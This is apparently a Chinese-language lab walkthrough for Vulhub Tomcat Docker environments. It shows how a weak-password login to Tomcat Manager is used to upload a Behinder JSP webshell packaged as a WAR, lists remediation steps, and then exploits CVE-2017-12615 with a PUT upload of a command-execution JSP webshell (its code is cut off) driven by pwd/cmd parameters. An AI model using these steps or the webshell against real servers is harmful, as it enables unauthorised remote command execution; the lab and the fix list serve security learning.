环境:centOS7
tomcat
docker
需要工具:java 环境、冰蝎
弱口令利用,并上传#
文件位置:
/root/CVE/vulhub-master/tomcat/tomcat8
在虚拟机中运行 docker,命令
docker-compose up -d
再查询虚拟机的 IP 地址,在本机中打开,tomcat 默认端口 8080
可以看到右上角有个 manager App
利用弱口令进入:用户名 tomcat,密码 tomcat
进入网页,发现有上传东西的地方
然后打开冰蝎准备上传 shell
选 default_aes ,然后点击生成服务端
之后自动弹出一个文件夹,里面有需要的 shell 文件
打开 cmd,选择其中一个.jsp
输入命令
jar cvf shell.war .\shell.jsp
将 shell 文件打包成 war 包,准备上传
提示成功,打开地址验证一下
http://192.168.1.4:8080/shell/shell.jsp
发现成功,打开冰蝎,点击新增,输入刚才的地址
这样就拿到了 shell
修复方案
1、更改弱密码(治标不治本)
2、在系统上以低权限运行 Tomcat 应用程序。创建一个专门的
Tomcat 服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。
3、增加对于本地和基于证书的身份验证,部署账户锁定机制 (对于集中式认证,目录服务也要做相应配置)。
在 CATALINA_HOME/conf/web.xml 文件设置锁定机制和时间超时限制。
4、以及针对 manager-gui/manager-status/manager-script 等目录页面设置最小权限访问限制。
CVE-2017-12615—— 远程代码执行#
试试点击 Manager App,被拦截了
现在打开 BrupSuite
准备好提供的 POC
<%@ page language="java" import="java.util.,java.io." pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("
将拦截到的发送到 Repeater
将 GET 改为 PUT /1.jsp/,再在下面添加上之前准备的 POC
状态码提示为 201,为上传成功了,打开地址
尝试输入指令
http://192.168.1.4:8080/1.jsp?pwd=023&cmd=id
同理,这里的 POC,可以替换为冰蝎的 shell,从而更好的拿到 shell